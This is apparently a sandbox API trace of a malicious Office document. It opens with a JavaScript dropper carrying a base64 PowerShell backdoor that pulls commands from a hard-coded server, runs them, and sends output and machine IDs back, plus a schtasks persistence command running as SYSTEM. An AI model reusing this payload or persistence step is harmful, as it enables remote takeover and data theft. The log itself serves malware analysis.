c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyICRyZXNwc3RyZWFtOyAkQ21kPSRzci5SZWFkVG9FbmQoKTskQ21kPVtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJENtZCkpOyAkY21kT3V0PUludm9rZS1FeHByZXNzaW9uIC1Db21tYW5kOiRDbWR8T3V0LVN0cmluZzskUmVDbWQ9W0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyhbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRjbWRPdXQpKTskdXVpZD1JbnZva2UtRXhwcmVzc2lvbiAtQ29tbWFuZDond21pYyBjc3Byb2R1Y3QgZ2V0IHV1aWQnfE91dC1TdHJpbmc7JFJldWlkPVtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkdXVpZCkpOyRQdXNsPSAnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL0dvb2dsZS5waHA/TWFjPSc7JFB1c2w9JFB1c2wrJFJldWlkOyRQdXNsPSRQdXNsKyc/RGF0YT0nOyRQdXNsPSRQdXNsKyRSZUNtZDtbU3lzdGVtLk5ldC5XZWJSZXF1ZXN0XSR3ZWJSZXF1ZXN0PVtTeXN0ZW0uTmV0LldlYlJlcXVlc3RdOjpDcmVhdGUoJFB1c2wpOyR3ZWJSZXF1ZXN0Lk1ldGhvZD0nUE9TVCc7JHdlYlJlcXVlc3QuR2V0UmVzcG9uc2UoKTsiOw==';\nDB64 = function(s) {\n var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length;\n var A=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n for(i=0;i<64;i++){e[A.charAt(i)]=i;}\n for(x=0;x=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(r+=w(a));}\n }\n return r;\n};\nvar objShell=new ActiveXObject(\"WScript.Shell\");\nvar iReturnCode=objShell.Run(DB64(c),0,false);", varVal2=0x697b468)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1268b0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x126890*=0x1268e4) returned 0x0 [0054.041] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x45f6d0, riid=0x7fee4b278a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x126900*="Close", cNames=0x1, lcid=0x409, rgDispId=0x1268e4 | out: rgDispId=0x1268e4*=10012) returned 0x0 [0054.041] FileSystemObject:IDispatch:Invoke (in: This=0x45f6d0, dispIdMember=10012, riid=0x7fee4b278a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x126898*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1268b0, puArgErr=0x126890 | out: pDispParams=0x126898*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1268b0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x126890*=0x1268e4) returned 0x0 [0054.198] VarBstrCmp (bstrLeft="Title", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.198] VarBstrCmp (bstrLeft="Subject", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.198] VarBstrCmp (bstrLeft="Author", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x0 [0054.198] VarBstrCmp (bstrLeft="Keywords", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.199] VarBstrCmp (bstrLeft="Comments", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x1 [0054.199] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd /c schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /F & schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /RU SYSTEM", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x126840*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x2, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x126820 | out: lpCommandLine="cmd /c schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /F & schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /RU SYSTEM", lpProcessInformation=0x126820*(hProcess=0xa20, hThread=0xa1c, dwProcessId=0xa34, dwThreadId=0xa38)) returned 1 [0054.427] GetLastError () returned 0x0 [0054.427] WaitForInputIdle (hProcess=0xa20, dwMilliseconds=0x2710) returned 0xffffffff [0054.427] CloseHandle (hObject=0xa1c) returned 1 [0054.427] CloseHandle (hObject=0xa20) returned 1 [0054.427] VarBstrCmp (bstrLeft="Template", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.428] VarBstrCmp (bstrLeft="Last author", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.428] VarBstrCmp (bstrLeft="Revision number", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.428] VarBstrCmp (bstrLeft="Application name", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x0 [0054.428] VarBstrCmp (bstrLeft="Last print date", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.428] VarBstrCmp (bstrLeft="Creation date", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.428] VarBstrCmp (bstrLeft="Last save time", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.428] VarBstrCmp (bstrLeft="Total editing time", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.428] VarBstrCmp (bstrLeft="Number of pages", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.429] VarBstrCmp (bstrLeft="Number of words", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.429] VarBstrCmp (bstrLeft="Number of characters", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.429] VarBstrCmp (bstrLeft="Security", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.429] VarBstrCmp (bstrLeft="Category", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x0 [0054.429] VarBstrCmp (bstrLeft="Format", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.429] VarBstrCmp (bstrLeft="Manager", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.429] VarBstrCmp (bstrLeft="Company", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.430] VarBstrCmp (bstrLeft="Number of bytes", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.430] VarBstrCmp (bstrLeft="Number of lines", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.430] VarBstrCmp (bstrLeft="Number of paragraphs", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.430] VarBstrCmp (bstrLeft="Number of slides", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.430] VarBstrCmp (bstrLeft="Number of notes", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.430] VarBstrCmp (bstrLeft="Number of hidden Slides", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.430] VarBstrCmp (bstrLeft="Number of multimedia clips", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.431] VarBstrCmp (bstrLeft="Hyperlink base", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.431] VarBstrCmp (bstrLeft="Number of characters (with spaces)", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.431] VarBstrCmp (bstrLeft="Content type", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.431] VarBstrCmp (bstrLeft="Content status", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.431] VarBstrCmp (bstrLeft="Language", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.431] VarBstrCmp (bstrLeft="Document version", bstrRight="Comments", lcid=0x0, dwFlags=0x30001) returned 0x2 [0054.434] FileSystemObject:IUnknown:Release (This=0x45f6d0) returned 0x0 [0054.434] FileSystemObject:IUnknown:Release (This=0xa6b1250) returned 0x0 [0054.461] IMalloc:Free (This=0x7feffc15380, pv=0x69c3fb0) [0224.380] GetCurrentThreadId () returned 0x8d0 [0224.380] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0224.380] GetDesktopWindow () returned 0x10010 [0224.380] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x1008a [0224.380] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.381] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.381] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x10140 [0224.381] GetClassNameA (in: hWnd=0x10140, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0224.381] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0224.381] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0224.381] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0224.381] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.381] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.381] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0224.381] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0224.381] GetClassNameA (in: hWnd=0x10138, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0224.381] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0224.381] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0224.381] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0224.381] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.381] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.381] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0224.381] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.381] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.381] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0224.381] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.381] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.381] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0224.381] GetClassNameA (in: hWnd=0x10072, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.381] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.381] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0224.381] GetClassNameA (in: hWnd=0x10070, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.381] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.381] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0224.381] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.381] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.381] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1007a [0224.381] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.381] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.382] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0224.382] GetClassNameA (in: hWnd=0x10078, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.382] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.382] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.382] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0224.382] GetClassNameA (in: hWnd=0x10074, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.382] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.382] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.382] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0224.382] GetClassNameA (in: hWnd=0x10052, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0224.382] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0224.382] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.382] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0224.382] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.382] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.382] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.382] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0224.382] GetClassNameA (in: hWnd=0x10054, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0224.382] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0224.382] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.382] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0224.382] GetClassNameA (in: hWnd=0x10050, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0224.382] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0224.382] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.382] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0224.382] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.382] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.382] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0224.382] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0224.382] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.382] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.382] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.382] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0224.382] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0224.382] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0224.382] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.382] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0224.382] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0224.382] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0224.382] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.382] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0xf020a [0224.382] GetClassNameA (in: hWnd=0xf020a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="NUIDialog") returned 9 [0224.382] lstrcmpA (lpString1="NUIDialog", lpString2="ThunderRT6Main") returned -1 [0224.382] GetWindowThreadProcessId (in: hWnd=0xf020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.383] GetWindowLongA (hWnd=0xf020a, nIndex=-16) returned -2067267584 [0224.383] GetWindowLongPtrA (hWnd=0xf020a, nIndex=-6) returned 0x7feee590000 [0224.383] GetWindowLongPtrA (hWnd=0xf020a, nIndex=-6) returned 0x7feee590000 [0224.383] GetWindow (hWnd=0xf020a, uCmd=0x2) returned 0xe0214 [0224.383] GetClassNameA (in: hWnd=0xe0214, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0224.383] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0224.383] GetWindowThreadProcessId (in: hWnd=0xe0214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0224.383] GetWindow (hWnd=0xe0214, uCmd=0x2) returned 0xe0218 [0224.383] GetClassNameA (in: hWnd=0xe0218, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.383] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.383] GetWindowThreadProcessId (in: hWnd=0xe0218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x660 [0224.383] GetWindow (hWnd=0xe0218, uCmd=0x2) returned 0xe0210 [0224.383] GetClassNameA (in: hWnd=0xe0210, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0224.383] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0224.383] GetWindowThreadProcessId (in: hWnd=0xe0210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0224.383] GetWindow (hWnd=0xe0210, uCmd=0x2) returned 0xf0212 [0224.383] GetClassNameA (in: hWnd=0xf0212, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.383] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.383] GetWindowThreadProcessId (in: hWnd=0xf0212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0224.383] GetWindow (hWnd=0xf0212, uCmd=0x2) returned 0x101dc [0224.383] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0224.383] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0224.383] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.383] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -1946157056 [0224.383] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0224.383] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0224.383] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x401b2 [0224.383] GetClassNameA (in: hWnd=0x401b2, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.383] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.383] GetWindowThreadProcessId (in: hWnd=0x401b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.383] GetWindowLongA (hWnd=0x401b2, nIndex=-16) returned -1946157056 [0224.383] GetWindowLongPtrA (hWnd=0x401b2, nIndex=-6) returned 0x13f690000 [0224.383] GetWindowLongPtrA (hWnd=0x401b2, nIndex=-6) returned 0x13f690000 [0224.383] GetWindow (hWnd=0x401b2, uCmd=0x2) returned 0x201ba [0224.383] GetClassNameA (in: hWnd=0x201ba, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="OpusApp") returned 7 [0224.383] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1 [0224.383] GetWindowThreadProcessId (in: hWnd=0x201ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.383] GetWindowLongA (hWnd=0x201ba, nIndex=-16) returned 399441920 [0224.383] GetWindowLongPtrA (hWnd=0x201ba, nIndex=-6) returned 0x7fef0c30000 [0224.383] GetWindowLongPtrA (hWnd=0x201ba, nIndex=-6) returned 0x7fef0c30000 [0224.383] GetWindow (hWnd=0x201ba, uCmd=0x2) returned 0x701a2 [0224.383] GetClassNameA (in: hWnd=0x701a2, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0224.383] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0224.383] GetWindowThreadProcessId (in: hWnd=0x701a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0224.383] GetWindow (hWnd=0x701a2, uCmd=0x2) returned 0xe020e [0224.383] GetClassNameA (in: hWnd=0xe020e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.383] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.384] GetWindowThreadProcessId (in: hWnd=0xe020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0224.384] GetWindow (hWnd=0xe020e, uCmd=0x2) returned 0x101f2 [0224.384] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="OpusApp") returned 7 [0224.384] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1 [0224.384] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.384] GetWindowLongA (hWnd=0x101f2, nIndex=-16) returned 131006464 [0224.384] GetWindowLongPtrA (hWnd=0x101f2, nIndex=-6) returned 0x7fef0c30000 [0224.384] GetWindowLongPtrA (hWnd=0x101f2, nIndex=-6) returned 0x7fef0c30000 [0224.384] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101f0 [0224.384] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0224.384] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0224.384] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.384] GetWindowLongA (hWnd=0x101f0, nIndex=-16) returned -2080374784 [0224.384] GetWindowLongPtrA (hWnd=0x101f0, nIndex=-6) returned 0x7fee4790000 [0224.384] IsWindowEnabled (hWnd=0x101f0) returned 1 [0224.384] GetPropA (hWnd=0x101f0, lpString=0xc129) returned 0x0 [0224.384] SetPropA (hWnd=0x101f0, lpString=0xc129, hData=0x1) returned 1 [0224.392] EnableWindow (hWnd=0x101f0, bEnable=0) returned 0 [0224.392] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101ec [0224.392] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0224.392] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0224.392] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.392] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2080374784 [0224.392] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x7feffa40000 [0224.392] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x7feffa40000 [0224.392] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0224.392] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0224.392] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0224.392] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.392] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2080374784 [0224.392] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x7feef060000 [0224.392] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x7feef060000 [0224.392] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x201a8 [0224.392] GetClassNameA (in: hWnd=0x201a8, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0224.392] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0224.392] GetWindowThreadProcessId (in: hWnd=0x201a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x910 [0224.392] GetWindow (hWnd=0x201a8, uCmd=0x2) returned 0x201c2 [0224.393] GetClassNameA (in: hWnd=0x201c2, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="_WwO") returned 4 [0224.393] lstrcmpA (lpString1="_WwO", lpString2="ThunderRT6Main") returned -1 [0224.393] GetWindowThreadProcessId (in: hWnd=0x201c2, 